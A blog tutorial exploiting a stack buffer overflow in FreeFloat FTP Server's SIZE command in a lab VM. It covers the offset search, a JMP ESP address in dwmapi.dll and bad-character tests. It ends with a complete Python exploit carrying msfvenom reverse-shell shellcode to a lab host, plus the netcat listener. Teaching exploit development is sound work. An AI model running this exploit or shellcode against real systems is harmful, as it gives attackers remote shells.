Jason Turley's Website

Windows Exploit Development Part 1: Buffer Overflow

Introduction

Today we will be exploiting a vanilla buffer overflow vulnerability in the FreeFloat FTP Server. This is a Windows 32-bit application that does not have SEH, DEP, or ASLR mitigations enabled.

Note that several exploits exist for this application and can be viewed on exploit-db. I have arbitrarily chosen to exploit the ‘SIZE’ function.

General steps for exploiting a buffer overflow on Windows

Crash the application

NOTE: Turn off the Windows firewall before proceeding - this will ensure that we can reach port 21.

Below is our initial proof of concept to see if we can connect and log into the vulnerable FTP server:

import socket
import sys

if len(sys.argv) != 2:
    print("Usage: python3 <IP_ADDRESS>")
    sys.exit(1)

IP = sys.argv[1]
PORT = 21

# Create TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to FTP server
s.connect((IP, PORT))

# Login as anonymous user
data = s.recv(1024)
print(data)
s.send(b"USER anonymous\r\n")

data = s.recv(1024)
print(data)
s.send(b"PASS anonymous\r\n")

data = s.recv(1024)
print(data)

s.close()

And here is the output:

$ python3 poc.py 192.168.190.139
b'220 FreeFloat Ftp Server (Version 1.00).\r\n'
b'331 Password required for anonymous.\r\n'
b'230 User anonymous logged in.\r\n'

With that out of the way, attach WinDbg to the ftpserver.exe process running on the Windows VM. This allows us to debug it as we build our exploit.

It’s time to overflow the buffer. As stated earlier, we want to attack the ‘SIZE’ function. Let’s update our proof of concept to send a thousand A’s.

buf = b"A" * 1000

# Create TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

...

# Overflow the EIP
s.send(b"SIZE " + buf + b"\r\n")
s.recv(1024)
s.send(b"QUIT\r\n")

s.close()

Run it and you should get an “Access violation” error in WinDbg.

EIP Overwrite

Notice that EIP is overwritten with 0x41414141!

Find the offset for EIP

We need to determine exactly how many characters it takes to overwrite the EIP. The msf-pattern_create and msf-pattern_offset commands are perfect for this.

Generate an ASCII pattern of 1000 characters.

$ msf-pattern_create -l 1000              
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Now replace our 1000 A’s with the output above.

Restart the FTP server and rerun the exploit. Observe the new access violation.

EIP Overwrite 2

Use msf-pattern_offset to determine the offset.

$ msf-pattern_offset -l 1000 -q 41326941  
[*] Exact match at offset 246

Overwrite EIP

We know that it takes 246 bytes to fill the buffer. The size of EIP is 4 bytes (since it is an x86 register). Let’s update the exploit to overwrite the EIP with B’s and add dummy shellcode.

buf = b"A" * 246 
eip = b"B" * 4
shellcode = b"C" * (1000 - len(buf) - len(eip))
payload = buf + eip + shellcode

...

# Overflow the EIP
print("[+] sending payload of %d bytes" % len(payload))
s.send(b"SIZE " + payload + b"\r\n")
s.recv(1024)
s.send(b"QUIT\r\n")

s.close()

We still send a 1000 byte payload to guarantee the application crashes. We see that EIP has been overwritten with our B’s!

EIP Overwrite B

Display the data on the stack with dd esp:

ESP data

There’s our dummy shellcode!

Set the EIP register to point to ESP in WinDbg with r eip=esp.

Now, we can single step into the shellcode (the 0x43’s) with the t command. 0x43 translates to the inc ebx instruction and we see register ebx’s value increasing.

Single Step

The fact that we can execute arbitrary instructions is proof that DEP is not enabled.

Jmp to the Stack

In the previous example, we used WinDbg to manually set the EIP to point to ESP. We can do better.

Let’s use a JMP ESP instruction! Use msf-nasm_shell to determine the opcode.

$ msf-nasm_shell                        
nasm > jmp esp
00000000  FFE4              jmp esp

Opcode FFE4 is JMP ESP. We need to find a DLL/module with the ftpserver.exe process that contains this instruction.

View all loaded moduled in WinDbg with lm. I chose the module dwmapi since it does not have ASLR enabled.

Run lm m dwmapi to get the start and end base addresses

dwmapi

Now, we need to search for the JMP ESP (0xFF 0xE4) instruction in that module. We can do this natively in WinDbg with s -b 0x749a0000 0x749c6000 0xFF 0xE4

We get two results. Let’s use the first one at address 0x749c2f9b.

Test that the address is a JMP ESP instruction with u 749a0000 L1

jmp esp

Update the eip variable in our exploit:

eip = b"\x9b\x2f\x9c\x74"   # JMP ESP - dwmapi.dll

Filter out bad chars

Before we generate shellcode, we should check for bad characters. Bad characters are bytes that the application cannot process and/or that will close our connection.

Common bad characters are the NULL byte ("\x00”), NEW LINE ("\x0a”), and CARRIAGE RETURN ("\x0d).

Below is a byte string you can use to test for bad characters:

badchars = (
  b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

The bad chars for the target are “\x00\x0a\0d”. Check out this post for techniques on filtering for bad characters.

Create NOP sled and Shellcode

Create the shellcode with msfvenom.

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.190.137 LPORT=4444 -b "\x00\x0a\x0d" -f python -v shellcode

I added 20 bytes of NOPs in front of the shellcode to account for the encoder that msfvenom uses.

Below is the full exploit:

import socket
import sys

if len(sys.argv) != 2:
    print("Usage: python3 <IP_ADDRESS>")
    sys.exit(1)


IP = sys.argv[1]
PORT = 21

buf = b"A" * 246
eip = b"\x9b\x2f\x9c\x74"   # JMP ESP - dwmapi.dll
nops = b"\x90" * 20

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.190.137 LPORT=4444 -b "\x00\x0a\x0d" -f python -v shellcode
shellcode =  b""
shellcode += b"\xda\xd0\xd9\x74\x24\xf4\xb8\x44\x37\x6c\x01"
shellcode += b"\x5b\x29\xc9\xb1\x52\x31\x43\x17\x83\xeb\xfc"
shellcode += b"\x03\x07\x24\x8e\xf4\x7b\xa2\xcc\xf7\x83\x33"
shellcode += b"\xb1\x7e\x66\x02\xf1\xe5\xe3\x35\xc1\x6e\xa1"
shellcode += b"\xb9\xaa\x23\x51\x49\xde\xeb\x56\xfa\x55\xca"
shellcode += b"\x59\xfb\xc6\x2e\xf8\x7f\x15\x63\xda\xbe\xd6"
shellcode += b"\x76\x1b\x86\x0b\x7a\x49\x5f\x47\x29\x7d\xd4"
shellcode += b"\x1d\xf2\xf6\xa6\xb0\x72\xeb\x7f\xb2\x53\xba"
shellcode += b"\xf4\xed\x73\x3d\xd8\x85\x3d\x25\x3d\xa3\xf4"
shellcode += b"\xde\xf5\x5f\x07\x36\xc4\xa0\xa4\x77\xe8\x52"
shellcode += b"\xb4\xb0\xcf\x8c\xc3\xc8\x33\x30\xd4\x0f\x49"
shellcode += b"\xee\x51\x8b\xe9\x65\xc1\x77\x0b\xa9\x94\xfc"
shellcode += b"\x07\x06\xd2\x5a\x04\x99\x37\xd1\x30\x12\xb6"
shellcode += b"\x35\xb1\x60\x9d\x91\x99\x33\xbc\x80\x47\x95"
shellcode += b"\xc1\xd2\x27\x4a\x64\x99\xca\x9f\x15\xc0\x82"
shellcode += b"\x6c\x14\xfa\x52\xfb\x2f\x89\x60\xa4\x9b\x05"
shellcode += b"\xc9\x2d\x02\xd2\x2e\x04\xf2\x4c\xd1\xa7\x03"
shellcode += b"\x45\x16\xf3\x53\xfd\xbf\x7c\x38\xfd\x40\xa9"
shellcode += b"\xef\xad\xee\x02\x50\x1d\x4f\xf3\x38\x77\x40"
shellcode += b"\x2c\x58\x78\x8a\x45\xf3\x83\x5d\xaa\xac\x35"
shellcode += b"\x14\x42\xaf\x49\x36\xcf\x26\xaf\x52\xff\x6e"
shellcode += b"\x78\xcb\x66\x2b\xf2\x6a\x66\xe1\x7f\xac\xec"
shellcode += b"\x06\x80\x63\x05\x62\x92\x14\xe5\x39\xc8\xb3"
shellcode += b"\xfa\x97\x64\x5f\x68\x7c\x74\x16\x91\x2b\x23"
shellcode += b"\x7f\x67\x22\xa1\x6d\xde\x9c\xd7\x6f\x86\xe7"
shellcode += b"\x53\xb4\x7b\xe9\x5a\x39\xc7\xcd\x4c\x87\xc8"
shellcode += b"\x49\x38\x57\x9f\x07\x96\x11\x49\xe6\x40\xc8"
shellcode += b"\x26\xa0\x04\x8d\x04\x73\x52\x92\x40\x05\xba"
shellcode += b"\x23\x3d\x50\xc5\x8c\xa9\x54\xbe\xf0\x49\x9a"
shellcode += b"\x15\xb1\x7a\xd1\x37\x90\x12\xbc\xa2\xa0\x7e"
shellcode += b"\x3f\x19\xe6\x86\xbc\xab\x97\x7c\xdc\xde\x92"
shellcode += b"\x39\x5a\x33\xef\x52\x0f\x33\x5c\x52\x1a"
padding = b"C" * (1000 - len(buf) - len(eip) - len(nops) - len(shellcode))
payload = buf + eip + nops + shellcode + padding

# Create TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# Connect to FTP server
s.connect((IP, PORT))

# Login as anonymous user
s.recv(1024)
s.send(b"USER anonymous\r\n")
s.recv(1024)
s.send(b"PASS anonymous\r\n")
s.recv(1024)

# Overflow the EIP
print("[+] sending payload of %d bytes" % len(payload))
s.send(b"SIZE " + payload + b"\r\n")
s.recv(1024)
s.send(b"QUIT\r\n")

s.close()

Exploit and Profit!

Start a netcat listener on port 4444.

$ nc -nlvp 4444

Restart the FTP server and run our exploit to get a shell!

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.190.137] from (UNKNOWN) [192.168.190.139] 62863
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\IEUser\Desktop\Win32>

Thanks for reading!